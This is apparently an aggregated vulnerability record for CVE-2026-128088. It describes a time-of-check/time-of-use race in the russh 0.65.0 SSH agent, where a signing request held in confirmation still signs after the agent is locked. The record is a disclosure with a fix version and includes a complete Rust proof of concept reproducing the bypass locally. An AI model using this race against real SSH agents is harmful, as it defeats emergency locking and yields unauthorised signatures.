{"id":"GHSA-736f-c93q-9fwx","aliases":["CVE-2026-128088"],"title":"russh try_sign: asynchronous confirmation can sign after agent lock","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"LOW","description":"### Summary\n\nIn russh `0.65.0`, a sign request for a confirmation-constrained key can retain\nand use the private key after another connection locks the agent. `try_sign()`\nsnapshots an `Arc<PrivateKey>` before awaiting `Agent::confirm()` and does not\nrevalidate the shared lock state after the await. An agent-forwarding peer can\ntherefore obtain a signature while the agent is locked and every new request is\nbeing rejected.\n\n### Details\n\nThe agent's lock and key stores are shared by all connections. `respond()` reads\nthe lock state once, then dispatches a sign request:\n\n```rust\nlet is_locked = {\n    // ... read the shared lock ...\n};\n\n// ...\nSome((&13, mut r))\n    if !is_locked && agentref.confirm_request(MessageType::Sign).await =>\n{\n    let agent = self.agent.take().ok_or(Error::AgentFailure)?;\n    let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;\n```\n\nIn `try_sign()`, russh clones the private key from the shared store and drops the\nstore lock before awaiting the asynchronous confirmation callback:\n\n```rust\nlet key = {\n    let blob = Bytes::decode(r)?;\n    let k = self.keys.0.read().or(Err(Error::AgentFailure))?;\n    if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {\n        if constraints.contains(&Constraint::Confirm) {\n            needs_confirm = true;\n        }\n        key.clone()\n    } else {\n        return Ok((agent, false));\n    }\n};\n\nlet agent = if needs_confirm {\n    let (agent, ok) = agent.confirm(key.clone()).await;\n    if !ok {\n        return Ok((agent, false));\n    }\n    agent\n} else {\n    agent\n};\n\n// No lock/key-state revalidation occurs here.\nsign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?\n    .encode(writebuf)?;\n```\n\nWhile `confirm()` is pending, a second agent connection can successfully lock\nthe shared agent. When confirmation later returns `true`, the original\nconnection signs with its captured `Arc<PrivateKey>`.\n\nThe affected code is in\n[`russh/src/keys/agent/server.rs`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\nand\n[`try_sign()`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375).\n\nRFC 9987 section 5.7 requires a locked agent to suspend private-key signature\noperations until it is unlocked. A fresh request is correctly rejected while\nlocked; only the request suspended across the await bypasses the lock.\n\nThe vulnerable asynchronous call was introduced by commit `62db6e7` as the fix\nfor GHSA-vp5q-ff62-jwqv. The behavior is present in released version `0.65.0`\nand current commit `183a22e8f8f490fa09b6eb7bd044ef99d8c4414f`.\n\n### Expected behavior\n\nAfter the agent reports a successful lock, no private-key signature operation\nshould complete until a successful unlock.\n\n### Actual behavior\n\nA request that reached `Agent::confirm()` before the state transition signs\nafterward. New requests made in the same locked or expired state fail, confirming\nthat the shared state transition took effect.\n\n### Proof of concept\n\nThe PoC is self-contained and uses in-memory duplex streams; it does not require\nan SSH server, Unix socket, or attached binary file. With a current stable Rust\ntoolchain installed, create a new directory:\n\n```sh\nmkdir -p russh-agent-lock-toctou-poc/src\ncd russh-agent-lock-toctou-poc\n```\n\nCreate `Cargo.toml`:\n\n```toml\n[package]\nname = \"russh-agent-lock-toctou-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nfutures = \"0.3\"\nrand = { version = \"0.10\", features = [\"thread_rng\"] }\nrussh = \"=0.65.0\"\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"sync\"] }\ntokio-stream = \"0.1\"\n```\n\nCreate `src/main.rs`:\n\n```rust\nuse std::{future::Future, sync::Arc};\n\nuse russh::keys::agent::{\n    Constraint,\n    client::AgentClient,\n    server::{self, Agent},\n};\nuse russh::keys::{Algorithm, PrivateKey};\nuse tokio::{\n    io::DuplexStream,\n    sync::{Notify, mpsc},\n};\nuse tokio_stream::wrappers::ReceiverStream;\n\n#[derive(Clone)]\nstruct DelayedConfirm {\n    entered: Arc<Notify>,\n    release: Arc<Notify>,\n}\n\nimpl Agent for DelayedConfirm {\n    fn confirm(\n        self,\n        _key: Arc<PrivateKey>,\n    ) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {\n        Box::new(Box::pin(async move {\n            self.entered.notify_one();\n            self.release.notified().await;\n            (self, true)\n        }))\n    }\n}\n\nasync fn connect(\n    sender: &mpsc::Sender<std::io::Result<DuplexStream>>,\n) -> AgentClient<DuplexStream> {\n    let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);\n    sender.send(Ok(server_stream)).await.unwrap();\n    AgentClient::connect(client_stream)\n}\n\n#[tokio::main]\nasync fn main() {\n    let entered = Arc::new(Notify::new());\n    let release = Arc::new(Notify::new());\n    let agent = DelayedConfirm {\n        entered: entered.clone(),\n        release: release.clone(),\n    };\n\n    let (sender, receiver) = mpsc::channel(4);\n    tokio::spawn(async move {\n        server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)\n            .await\n            .unwrap();\n    });\n\n    let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();\n    let public_key = key.public_key().clone();\n\n    let mut administrator = connect(&sender).await;\n    administrator\n        .add_identity(&key, &[Constraint::Confirm])\n        .await\n        .unwrap();\n\n    let mut attacker = connect(&sender).await;\n    let attacker_key = public_key.clone();\n    let pending_sign = tokio::spawn(async move {\n        attacker\n            .sign_request_signature(&attacker_key, None, b\"attacker-controlled request\")\n            .await\n    });\n\n    entered.notified().await;\n    administrator.lock(b\"lock-password\").await.unwrap();\n    println!(\"agent locked while confirmation was pending\");\n\n    // Control: a request started after the lock is rejected.\n    let mut control = connect(&sender).await;\n    let control_result = control\n        .sign_request_signature(&public_key, None, b\"post-lock request\")\n        .await;\n    println!(\"new post-lock request accepted: {}\", control_result.is_ok());\n\n    // The original request signs after the lock has taken effect.\n    release.notify_one();\n    let pending_result = pending_sign.await.unwrap();\n    println!(\n        \"pre-lock request signed after lock: {}\",\n        pending_result.is_ok()\n    );\n\n    assert!(control_result.is_err());\n    assert!(pending_result.is_ok());\n}\n```\n\nRun:\n\n```sh\ncargo run --quiet\n```\n\nObserved on russh `0.65.0` with Rust `1.91.0`:\n\n```text\nagent locked while confirmation was pending\nnew post-lock request accepted: false\npre-lock request signed after lock: true\n```\n\n### Impact\n\nrussh-based SSH agents that implement asynchronous confirmation are affected,\nincluding agents exposed to remote SSH servers through agent forwarding. A peer\ncan begin a signature request while the agent is unlocked and hold it in the\nconfirmation phase. If the agent is subsequently locked, approving or otherwise\ncompleting the stale confirmation still gives the peer a signature that the\nagent's current state rejects for every new request.\n\nThis weakens emergency locking. The attacker does not recover private key\nmaterial, and exploitation requires a sign request to be pending across the\nstate transition and its confirmation callback eventually to return `true`.\n\n## Related\n\n- [RFC 9987 section 5.7: Locking and Unlocking an Agent](https://www.rfc-editor.org/rfc/rfc9987.html#section-5.7)\n- [GHSA-vp5q-ff62-jwqv / CVE-2026-116794: missing confirmation enforcement](https://github.com/advisories/GHSA-vp5q-ff62-jwqv)\n- [Commit `62db6e7`: call `Agent::confirm`](https://github.com/Eugeny/russh/commit/62db6e7defd6d244159da962ccccb029e785ce0f)\n- [Affected `respond()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\n- [Affected `try_sign()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375)","severity":"low","score":2.2,"published":"2026-11-13T19:07:42.568Z","modified":"2026-11-18T13:09:31.218Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"crates.io","name":"russh","sources":[{"name":"OSV · GHSA-736f-c93q-9fwx","url":"https://osv.dev/vulnerability/GHSA-736f-c93q-9fwx"}],"ranges":[{"events":[{"introduced":"0.65.0"},{"fixed":"0.65.1"}],"type":"SEMVER"}],"versions":["0.65.0"],"fixed":["0.65.1"]}],"sourceAffected":[],"references":["https://github.com/Eugeny/russh/security/advisories/GHSA-736f-c93q-9fwx","https://github.com/Eugeny/russh/pull/808","https://github.com/Eugeny/russh/commit/43a46d67a80a7355fcd2fb25e7e00d79aec8184c","https://github.com/Eugeny/russh","https://github.com/Eugeny/russh/releases/tag/v0.65.1"],"sources":[{"name":"OSV","id":"GHSA-736f-c93q-9fwx","modified":"2026-11-13T19:15:05.906299888Z","url":"https://osv.dev/vulnerability/GHSA-736f-c93q-9fwx"},{"name":"CVE","id":"CVE-2026-128088","modified":"2026-11-18T13:09:31.218Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-128088"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N","score":2.2},{"source":"GitHub_M","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N","score":2.2}],"cve":{"records":[{"id":"CVE-2026-128088","source":"GitHub_M","state":"PUBLISHED","reasons":[],"replacements":[],"disputed":false,"unsupportedWhenAssigned":false,"reserved":"2026-11-12T21:24:51.131Z","published":"2026-11-13T19:07:42.568Z","modified":"2026-11-18T13:09:31.218Z"}],"publishers":[{"name":"GitHub_M","role":"CNA","organizationId":"a0819718-46f1-4df5-94e2-005712e83aaa","modified":"2026-11-13T19:07:42.568Z"},{"name":"CISA-ADP","role":"ADP","organizationId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","modified":"2026-11-18T13:09:31.218Z"}],"references":[{"url":"https://github.com/Eugeny/russh/security/advisories/GHSA-736f-c93q-9fwx","tags":["x_refsource_CONFIRM"],"source":"GitHub_M"},{"url":"https://github.com/Eugeny/russh/pull/808","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/Eugeny/russh/commit/43a46d67a80a7355fcd2fb25e7e00d79aec8184c","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/Eugeny/russh/releases/tag/v0.65.1","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/Eugeny/russh/security/advisories/GHSA-736f-c93q-9fwx","tags":["exploit"],"source":"CISA-ADP"}],"weaknesses":[{"id":"CWE-367","description":"CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","source":"GitHub_M"},{"id":"CWE-863","description":"CWE-863: Incorrect Authorization","source":"GitHub_M"}],"applicability":[],"prioritization":[{"source":"CISA-ADP","type":"SSVC","role":"CISA Coordinator","timestamp":"2026-11-18T13:08:58.004343Z","decisions":[{"name":"Exploitation","value":"poc"},{"name":"Automatable","value":"no"},{"name":"Technical Impact","value":"partial"}]}]},"products":[{"vendor":"Eugeny","name":"russh","platforms":[],"versions":[{"version":">= 0.65.0, < 0.65.1","status":"affected"}],"cpes":[],"source":"GitHub_M","url":"https://www.cve.org/CVERecord?id=CVE-2026-128088"}],"remediation":[],"observedAt":"2026-11-18T13:23:14.131Z","kev":{"status":"not-listed","checkedAt":"2026-11-30T03:05:31.868Z"},"coverage":[{"source":"NVD","status":"available","checkedAt":"2026-11-14T00:10:31.563Z","attemptedAt":"2026-11-14T00:10:31.563Z"},{"source":"GHSA","status":"available","checkedAt":"2026-11-14T00:00:36.282Z","attemptedAt":"2026-11-14T00:00:36.282Z"},{"source":"EUVD","status":"available","checkedAt":"2026-11-14T00:00:38.287Z","attemptedAt":"2026-11-14T00:00:38.287Z"},{"source":"EPSS","status":"no-result","checkedAt":"2026-11-14T00:00:35.998Z","attemptedAt":"2026-11-14T00:00:35.998Z"}],"evidence":[{"source":"GitHub Advisory Database","id":"GHSA-736f-c93q-9fwx","url":"https://github.com/advisories/GHSA-736f-c93q-9fwx","modified":"2026-11-13T19:10:47Z","score":2.2,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N","checkedAt":"2026-11-14T00:00:36.282Z"},{"source":"ENISA EUVD","id":"EUVD-2026-125722","url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-125722","modified":"Nov 13, 2026, 7:07:42 PM","score":2.2,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N","checkedAt":"2026-11-14T00:00:38.287Z"},{"source":"NVD","id":"CVE-2026-128088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128088","modified":"2026-11-13T19:19:31.743","score":2.2,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N","checkedAt":"2026-11-14T00:10:31.563Z"}],"aiSummary":null}